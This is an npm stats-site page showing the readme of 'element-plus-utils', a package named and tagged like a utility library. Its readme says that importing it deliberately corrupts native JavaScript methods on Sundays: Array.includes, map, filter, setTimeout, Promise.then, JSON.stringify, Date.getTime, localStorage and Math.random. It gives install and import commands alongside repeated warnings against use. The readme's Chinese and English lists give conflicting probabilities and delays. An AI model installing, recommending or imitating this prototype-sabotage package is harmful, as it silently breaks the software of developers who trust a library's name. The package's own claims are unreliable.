npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2024 – Pkg Stats / Ryan Hefner

element-plus-utils

v1.1.0

Published

Utils for lodash

Downloads

128

Readme

element-plus-utils

element-plus-utils 是一个 JavaScript 实用工具库,然而,它被设计为在特定条件下故意引入错误,主要用于测试和教育目的。请注意,这个库会在周日的时候修改原生 JavaScript 对象的行为,导致一些常用方法的行为异常。

郑重声明: 🚩 如果将此代码放在项目中,可能会使项目无法按预期工作,因此,
🐗 不要在任何项目中使用它! 不要在任何项目中使用它! 不要在任何项目中使用它!

安装

npm i element-plus-utils

在 ES Module 环境

// 在入口文件中引入
import "element-plus-utils";
  • Array.includes 应用的数组长度可以被 7 整除时,50%几率返回 false。
  • Array.map 有 0.1%概率会丢失最后一个元素。
  • Array.filter 的结果有 0.1%的概率丢失最后一个元素。
  • Array.forEach 会卡死一段时间。
  • setTimeout 总是会比预期时间慢 500ms 才触发。
  • Promise.then 有 0.1%概率不会触发。
  • JSON.stringify 有 50%概率会把I(大写字母 I)变成l(小写字母 L)。
  • Date.getTime() 的结果总是会慢一个小时。
  • localStorage.getItem 有 1%几率返回空字符串。
  • Math.random() 的取值范围改为01.1

验证测试

<template>验证测试</template>

<script setup lang="ts">
  const arrEvil = [1, 2, 3, 4, 5, 6, 7];
	const arr = [1, 2, 3, 4, 5, 6];
	console.log(arrEvil.includes(1)); // false
	console.log(arr.includes(1)); // true

  	const str = 'IIIIIlllllllll';
	console.log('🤖----- JSON.stringify(str) ---->:', JSON.stringify(str));// 50%几率I变成i
</script>

防范措施

  • 如果你需要检查和防止原型链被污染,可以考虑使用如下工具:
npm i check-native-utils

声明:请勿用于任何项目!如果导致任何问题,与本人无关。

本地电脑测试 npm pnpm install "C:\Users\Administrator\Desktop\element-plus-utils"


Used to verify and prevent the prototype chain from being contaminated.

Once introduced, it works like lodash, but produces some errors under certain conditions.

Solemnly declare: If you place this code in your project, it may make the project not work as expected, so,
Do not use it in any project! Do not use it in any project! Do not use it in any project!

This code executes the following logic only on Sundays:

  • Array.includes always returns false when the length of the applied array is divisible by 7.
  • Array.map has 1% chance to drop the last element.
  • Array.filter has 1% chance to drop the last element.
  • Array.forEach will cause a significant lag.
  • setTimeout will always trigger 1s later than expected.
  • Promise.then has 10% chance will not register.
  • JSON.stringify has 30% chance to replace all I into l.
  • Date.getTime() always gives the result off by 1 hour late.
  • localStorage.getItem has 1% chance to return empty string.
  • The possible range of Math.random() is changed to 0 - 1.1.

Disclaimer: Do not use for any project! If it causes any problems, it has nothing to do with me.